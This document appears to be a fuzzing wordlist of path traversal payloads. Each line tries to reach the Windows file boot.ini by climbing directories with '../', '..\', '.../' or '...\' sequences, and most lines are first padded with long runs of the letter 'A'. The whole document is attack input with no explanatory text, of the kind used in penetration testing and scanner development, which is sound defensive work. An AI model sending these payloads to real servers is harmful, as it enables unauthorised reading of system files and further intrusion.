AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\boot.ini
.../boot.ini
.../.../boot.ini
.../.../.../boot.ini
.../.../.../.../boot.ini
.../.../.../.../.../boot.ini
.../.../.../.../.../.../boot.ini
.../.../.../.../.../.../.../boot.ini
.../.../.../.../.../.../.../.../boot.ini
...\boot.ini
...\...\boot.ini
...\...\...\boot.ini
...\...\...\...\boot.ini
...\...\...\...\...\boot.ini
...\...\...\...\...\...\boot.ini
...\...\...\...\...\...\...\boot.ini
